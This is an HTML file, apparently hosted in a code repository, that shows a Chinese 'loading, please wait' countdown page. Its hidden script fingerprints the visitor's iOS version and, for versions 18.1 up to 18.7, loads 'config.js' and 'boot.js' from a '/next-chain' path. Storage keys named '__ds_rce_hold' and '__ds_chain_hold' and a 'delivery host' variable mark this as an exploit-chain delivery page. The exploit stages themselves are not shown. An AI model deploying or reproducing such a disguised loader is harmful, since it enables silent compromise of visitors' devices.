hashbro
268 lines
7.0 KiB
HTML
268 lines
7.0 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="zh-CN">
|
|
<head>
|
|
<meta charset="utf-8" />
|
|
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
|
|
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|
|
<meta http-equiv="Pragma" content="no-cache" />
|
|
<meta http-equiv="Expires" content="0" />
|
|
<meta property="og:determiner" content="auto" />
|
|
<title>加载中</title>
|
|
<style>
|
|
:root {
|
|
--bg: #0f1419;
|
|
--ring: #3d8bfd;
|
|
--ring-track: rgba(255, 255, 255, 0.12);
|
|
--text: #f3f6fa;
|
|
--muted: #9aa7b5;
|
|
}
|
|
* { box-sizing: border-box; }
|
|
html, body {
|
|
margin: 0;
|
|
min-height: 100%;
|
|
background: var(--bg);
|
|
color: var(--text);
|
|
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
|
|
}
|
|
body {
|
|
min-height: 100dvh;
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
padding: 24px;
|
|
}
|
|
.stage {
|
|
width: min(100%, 320px);
|
|
text-align: center;
|
|
}
|
|
.ring-wrap {
|
|
position: relative;
|
|
width: 168px;
|
|
height: 168px;
|
|
margin: 0 auto 28px;
|
|
}
|
|
.ring {
|
|
width: 100%;
|
|
height: 100%;
|
|
transform: rotate(-90deg);
|
|
}
|
|
.ring-track {
|
|
fill: none;
|
|
stroke: var(--ring-track);
|
|
stroke-width: 8;
|
|
}
|
|
.ring-progress {
|
|
fill: none;
|
|
stroke: var(--ring);
|
|
stroke-width: 8;
|
|
stroke-linecap: round;
|
|
stroke-dasharray: 502.65;
|
|
stroke-dashoffset: 0;
|
|
transition: stroke-dashoffset 0.2s linear;
|
|
}
|
|
.countdown {
|
|
position: absolute;
|
|
inset: 0;
|
|
display: flex;
|
|
flex-direction: column;
|
|
align-items: center;
|
|
justify-content: center;
|
|
gap: 4px;
|
|
}
|
|
.countdown-num {
|
|
font-size: 42px;
|
|
font-weight: 600;
|
|
letter-spacing: -0.02em;
|
|
line-height: 1;
|
|
font-variant-numeric: tabular-nums;
|
|
}
|
|
.countdown-unit {
|
|
font-size: 13px;
|
|
color: var(--muted);
|
|
}
|
|
.title {
|
|
margin: 0 0 8px;
|
|
font-size: 20px;
|
|
font-weight: 600;
|
|
}
|
|
.subtitle {
|
|
margin: 0;
|
|
font-size: 14px;
|
|
color: var(--muted);
|
|
line-height: 1.5;
|
|
}
|
|
@media (prefers-reduced-motion: reduce) {
|
|
.ring-progress { transition: none; }
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="stage" role="status" aria-live="polite">
|
|
<div class="ring-wrap">
|
|
<svg class="ring" viewBox="0 0 180 180" aria-hidden="true">
|
|
<circle class="ring-track" cx="90" cy="90" r="80"></circle>
|
|
<circle class="ring-progress" id="ring" cx="90" cy="90" r="80"></circle>
|
|
</svg>
|
|
<div class="countdown">
|
|
<span class="countdown-num" id="sec">15</span>
|
|
<span class="countdown-unit">秒</span>
|
|
</div>
|
|
</div>
|
|
<p class="title">加载中</p>
|
|
<p class="subtitle">请稍候，正在准备页面…</p>
|
|
</div>
|
|
<script type="text/javascript">
|
|
(function () {
|
|
var DS_BASE = '/next-chain';
|
|
var HOLD_MS = 10 * 60 * 1000;
|
|
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
|
|
|
|
function parseIosVersion() {
|
|
var ua = navigator.userAgent || '';
|
|
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
|
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
|
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
|
if (!m) {
|
|
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
|
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
|
}
|
|
return m[1].split('_').map(function (p) {
|
|
return parseInt(p, 10);
|
|
});
|
|
}
|
|
|
|
function cmpVer(a, b) {
|
|
for (var i = 0; i < 3; i++) {
|
|
var ai = (a && a[i]) || 0;
|
|
var bi = (b && b[i]) || 0;
|
|
if (ai < bi) return -1;
|
|
if (ai > bi) return 1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
function persistChannelCode(code) {
|
|
code = String(code || '').trim().slice(0, 64);
|
|
if (!code) return '';
|
|
try {
|
|
window.__LAB_CHANNEL_CODE__ = code;
|
|
window.__CORUNA_CHANNEL__ = code;
|
|
} catch (e0) {}
|
|
try {
|
|
sessionStorage.setItem('lab_channel_code', code);
|
|
} catch (e1) {}
|
|
try {
|
|
localStorage.setItem('lab_channel_code', code);
|
|
} catch (e2) {}
|
|
return code;
|
|
}
|
|
|
|
function channelCode() {
|
|
try {
|
|
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
|
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
|
} catch (eP) {}
|
|
return '';
|
|
}
|
|
|
|
function dsUrl(path) {
|
|
var origin = '';
|
|
try {
|
|
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
|
|
} catch (e) {}
|
|
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
|
|
}
|
|
|
|
function loadScript(src, onload, attempt) {
|
|
attempt = attempt || 0;
|
|
var s = document.createElement('script');
|
|
s.async = false;
|
|
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
|
|
s.onload = function () { if (onload) onload(); };
|
|
s.onerror = function () {
|
|
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
|
};
|
|
(document.body || document.documentElement).appendChild(s);
|
|
}
|
|
|
|
function holdFresh() {
|
|
var now = Date.now();
|
|
for (var i = 0; i < HOLD_KEYS.length; i++) {
|
|
var key = HOLD_KEYS[i];
|
|
try {
|
|
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
|
|
if (ls && now - ls <= HOLD_MS) return true;
|
|
} catch (e0) {}
|
|
try {
|
|
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
|
|
if (ss && now - ss <= HOLD_MS) return true;
|
|
} catch (e1) {}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
function markHold() {
|
|
var ts = String(Date.now());
|
|
try {
|
|
localStorage.setItem('__ds_rce_hold', ts);
|
|
localStorage.setItem('__ds_chain_hold', ts);
|
|
} catch (e2) {}
|
|
try {
|
|
sessionStorage.setItem('__ds_rce_hold', ts);
|
|
sessionStorage.setItem('__ds_chain_hold', ts);
|
|
} catch (e3) {}
|
|
}
|
|
|
|
function loadDs(code) {
|
|
if (holdFresh()) return;
|
|
markHold();
|
|
persistChannelCode(code);
|
|
try {
|
|
window.__LAB_DELIVERY_HOST__ = dsUrl('');
|
|
} catch (eH) {}
|
|
loadScript(dsUrl('/config.js'), function () {
|
|
loadScript(dsUrl('/boot.js'));
|
|
});
|
|
}
|
|
|
|
var ios = parseIosVersion();
|
|
var code = channelCode();
|
|
if (!ios || cmpVer(ios, [18, 1]) < 0) {
|
|
loadScript('index.js');
|
|
return;
|
|
}
|
|
if (cmpVer(ios, [18, 7]) < 0) {
|
|
loadDs(code);
|
|
}
|
|
})();
|
|
</script>
|
|
<script>
|
|
(function () {
|
|
var TOTAL = 15;
|
|
var CIRC = 2 * Math.PI * 80;
|
|
var ring = document.getElementById('ring');
|
|
var secEl = document.getElementById('sec');
|
|
var left = TOTAL;
|
|
var started = Date.now();
|
|
ring.style.strokeDasharray = String(CIRC);
|
|
ring.style.strokeDashoffset = '0';
|
|
|
|
function tick() {
|
|
var elapsed = (Date.now() - started) / 1000;
|
|
left = Math.max(0, TOTAL - elapsed);
|
|
var shown = Math.ceil(left);
|
|
secEl.textContent = String(shown);
|
|
ring.style.strokeDashoffset = String(CIRC * (1 - left / TOTAL));
|
|
if (left > 0) {
|
|
requestAnimationFrame(tick);
|
|
} else {
|
|
secEl.textContent = '0';
|
|
ring.style.strokeDashoffset = String(CIRC);
|
|
}
|
|
}
|
|
requestAnimationFrame(tick);
|
|
})();
|
|
</script>
|
|
</body>
|
|
</html>
|